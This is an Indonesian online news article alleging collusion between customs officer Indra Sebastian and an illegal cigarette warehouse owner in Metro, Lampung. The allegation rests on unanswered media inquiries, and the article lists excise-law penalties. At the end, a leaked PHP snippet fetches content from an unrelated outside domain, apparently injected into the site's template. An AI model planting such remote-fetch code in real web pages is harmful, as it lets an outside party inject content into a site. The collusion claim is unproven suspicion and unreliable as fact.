Aparat Bea Cukai Diduga Terlibat Kongkalikong dengan Pemilik Gudang Rokok Ilegal

Rabu, 8 Mei 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Metro, jejakkasus info

Tim Bea Cukai langsung meninjau sebuah gudang di Jalan Kapten Tendean, Kota Metro, menyusul viralnya dugaan penyimpanan ilegal di lokasi tersebut. Indra Sebastian, anggota tim dari Bea Cukai, mengungkapkan bahwa rokok yang ditemukan di gudang sudah dilengkapi pita cukai resmi.

Namun, situasi menjadi mencurigakan ketika tim media yang berusaha mendapatkan konfirmasi dan dokumentasi lebih lanjut tentang inspeksi tersebut tidak mendapat respons. Upaya konfirmasi hanya berakhir pada pesan yang dibaca tanpa balasan dari pihak Bea Cukai.

Ketidaktanggapan tersebut memicu spekulasi mengenai adanya kerjasama ilegal antara Bea Cukai dan pemilik gudang, yang diidentifikasi sebagai Adi. Kekhawatiran ini diperkuat dengan bungkamnya Indra Sebastian terhadap berbagai upaya konfirmasi oleh media.

Baca Juga:  Pemuda dan Warga Tambal Jalan Protokol
Wahyudi, Ketua LSM GEPAK, menyerukan kepada aparat penegak hukum dan kepala Bea Cukai Lampung untuk melakukan tindakan tegas terhadap oknum-oknum yang diduga terlibat dalam bisnis ilegal yang merugikan negara. Tindakan penegakan hukum perlu segera dilakukan untuk menjaga integritas dan kepercayaan masyarakat terhadap lembaga penegak hukum.
Selain itu, perlunya penyelidikan mendalam untuk mengungkap jaringan bisnis ilegal yang melibatkan pihak-pihak yang seharusnya bertugas untuk mencegah kegiatan ilegal tersebut. Dugaan adanya kerjasama antara aparat Bea Cukai dan pemilik gudang rokok ilegal perlu diusut secara transparan untuk menjaga kepercayaan publik terhadap lembaga negara.

Wahyudi menambahkan bahwa pelanggaran yang dilakukan oleh gudang ini dapat dikenai beberapa jenis sanksi, diantaranya:

Baca Juga:  Polres Metro Kembali Ringkus Dua Selebgram Promosikan Judi Online

Pita Cukai Palsu: Melanggar Pasal 55 huruf (b) UU No 39 Tahun 2007, pelaku bisa dihukum penjara dari satu hingga delapan tahun, dengan denda hingga 20 kali nilai cukai yang seharusnya dibayar.

Pita Cukai Bekas: Sama seperti pita cukai palsu, pelanggaran ini juga berpotensi mendapat hukuman penjara dan denda serupa.

Pita Cukai Berbeda: Pelanggaran ini akan dikenakan sanksi administratif berupa denda dari dua hingga sepuluh kali nilai cukai, sesuai dengan Pasal 29 ayat 2a UU No 39 Tahun 2007.

Tanpa Pita Cukai: Pasal 55 huruf (c) UU No 38 Tahun 2007 menyatakan bahwa pelaku dapat dihukum penjara dari satu hingga lima tahun dengan denda minimal dua kali nilai cukai.

Baca Juga:  H.Daud Sidiq BA Lepas TIM Relawan Ke Sumatera Barat

Dengan seriusnya tindakan yang diancamkan oleh undang-undang, LSM GEPAK berharap penegakan hukum dapat dilakukan secepatnya. “Kami berharap pihak berwajib segera bertindak untuk menghentikan peredaran rokok ilegal ini dan mengamankan negara dari kerugian lebih lanjut,” tutup Wahyudi.

Kasus ini menyoroti pentingnya transparansi dan akuntabilitas dalam penegakan hukum serta perlunya keterbukaan dalam memberikan informasi kepada publik. Masyarakat berhak mengetahui kebenaran dan bertindak sebagai kontrol sosial terhadap lembaga-lembaga yang seharusnya menjaga keamanan dan ketertiban negara.
Bambang
Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya
Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa
Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas
RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan
Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok
Walaupun Sudah Diketahui oleh Penegak Hukum Puluhan Tambang Ilegal di Laut Kerangan, Diduga APH tidak Perduli ataukah Dugaan Ada Kordinasi yang Baik
Polda Lampung Ciduk 2 Tersangka Pengelola Situs Judi Online
Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba
Tag :

Berita Terkait

Jumat, 11 Oktober 2024 - 07:45 WIB

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya

Kamis, 10 Oktober 2024 - 16:33 WIB

Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa

Sabtu, 5 Oktober 2024 - 22:39 WIB

Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas

Rabu, 2 Oktober 2024 - 21:47 WIB

RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan

Kamis, 26 September 2024 - 13:27 WIB

Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>